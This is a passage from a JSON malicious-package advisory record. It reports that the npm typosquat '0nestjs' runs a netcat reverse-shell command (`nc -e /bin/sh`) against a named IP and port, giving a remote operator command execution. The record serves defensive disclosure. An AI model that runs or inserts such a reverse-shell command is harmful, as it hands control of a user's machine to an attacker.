Second, it invokes `nc -e /bin/sh \u003chost\u003e \u003cport\u003e` against the same 84.32.22.44:9999 endpoint, wiring /bin/sh stdio to the remote host and giving the operator interactive command execution on the installer's machine. package.json self-describes as 'Typosquat of nestjs' with author 'typosquat-bot'.\n\nThe OpenSSF Package Analysis project identified '0nestjs' @ 0.0.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in 0nestjs (npm)","id":"MAL-2026-15908","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"0nestjs","purl":"pkg:npm/0nestjs","source":"MAL-2026-15908"}],"products":null,"published":"2026-09-03","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-15908/"}
